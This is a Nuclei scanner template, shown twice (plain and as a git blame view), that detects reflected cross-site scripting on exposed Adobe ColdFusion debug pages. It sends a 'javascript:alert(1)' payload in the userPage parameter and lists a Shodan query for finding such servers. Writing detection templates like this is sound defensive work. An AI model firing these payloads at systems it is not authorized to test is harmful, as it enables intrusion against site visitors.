nuclei-templates/vulnerabilities/other/coldfusion-debug-xss.yaml

id: coldfusion-debug-xss

info:
  name: Adobe ColdFusion Debug Page Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: The remote Adobe ColdFusion debug page has been left open to unauthenticated users, this could allow remote attackers to trigger a reflected cross site scripting against the visitors of the site.
  reference:
    - https://github.com/jaeles-project/jaeles-signatures/blob/master/common/coldfusion-debug-xss.yaml
  metadata:
    shodan-query: http.component:"Adobe ColdFusion"
  tags: adobe,coldfusion,xss

requests:
  - method: GET
    path:
      - '{{BaseURL}}/CFIDE/debug/cf_debugFr.cfm?userPage=javascript:alert(1)'
      - '{{BaseURL}}/cfusion/debug/cf_debugFr.cfm?userPage=javascript:alert(1)'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"cf_main_cf" src="javascript:alert(1)"'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
Create coldfusion-debug-xss.yaml 2021-07-01 17:01:01 +00:00			`id: coldfusion-debug-xss`

			`info:`
Normalization of Cross-Site Scripting names (#5329) 2022-09-09 17:34:37 +00:00			`name: Adobe ColdFusion Debug Page Cross-Site Scripting`
Create coldfusion-debug-xss.yaml 2021-07-01 17:01:01 +00:00			`author: dhiyaneshDK`
			`severity: medium`
Description 2021-08-02 11:30:22 +00:00			`description: The remote Adobe ColdFusion debug page has been left open to unauthenticated users, this could allow remote attackers to trigger a reflected cross site scripting against the visitors of the site.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://github.com/jaeles-project/jaeles-signatures/blob/master/common/coldfusion-debug-xss.yaml`
Update metadata query (#4350) * Update adobe-component-login.yaml * Update cold-fusion-cfcache-map.yaml * Update unpatched-coldfusion.yaml * Update coldfusion-debug-xss.yaml * Update CVE-2020-11978.yaml * Update CVE-2020-13927.yaml * Update CVE-2021-38540.yaml * Update CVE-2021-44451.yaml * Update CVE-2022-24288.yaml * Update airflow-debug.yaml * Update airflow-detect.yaml * Update CVE-2010-0219.yaml * Update apache-axis-detect.yaml * Update CVE-2020-11991.yaml * Update apache-cocoon-detect.yaml * Update CVE-2021-21402.yaml * Update jellyfin-detect.yaml * Update CVE-2021-21402.yaml * Update CVE-2021-21402.yaml * Update ecology-arbitrary-file-upload.yaml * Update ecology-v8-sqli.yaml * Update ecology-syncuserinfo-sqli.yaml * Update ecology-filedownload-directory-traversal.yaml * Update CNVD-2021-15822.yaml * Update dedecms-carbuyaction-fileinclude.yaml * Update dedecms-openredirect.yaml * Update tamronos-rce.yaml * Update natshell-path-traversal.yaml 2022-05-12 14:18:36 +00:00			`metadata:`
			`shodan-query: http.component:"Adobe ColdFusion"`
Update coldfusion-debug-xss.yaml The term adobe is more general than coldfusion. Since Coldfusion is a product of Adobe. 2021-07-22 23:44:57 +00:00			`tags: adobe,coldfusion,xss`
Create coldfusion-debug-xss.yaml 2021-07-01 17:01:01 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- '{{BaseURL}}/CFIDE/debug/cf_debugFr.cfm?userPage=javascript:alert(1)'`
			`- '{{BaseURL}}/cfusion/debug/cf_debugFr.cfm?userPage=javascript:alert(1)'`
minor updates 2021-07-03 19:52:08 +00:00
Create coldfusion-debug-xss.yaml 2021-07-01 17:01:01 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`part: body`
			`words:`
			`- '"cf_main_cf" src="javascript:alert(1)"'`
minor updates 2021-07-03 19:52:08 +00:00
Create coldfusion-debug-xss.yaml 2021-07-01 17:01:01 +00:00			`- type: word`
			`part: header`
			`words:`
			`- "text/html"`

			`- type: status`
			`status:`
			`- 200`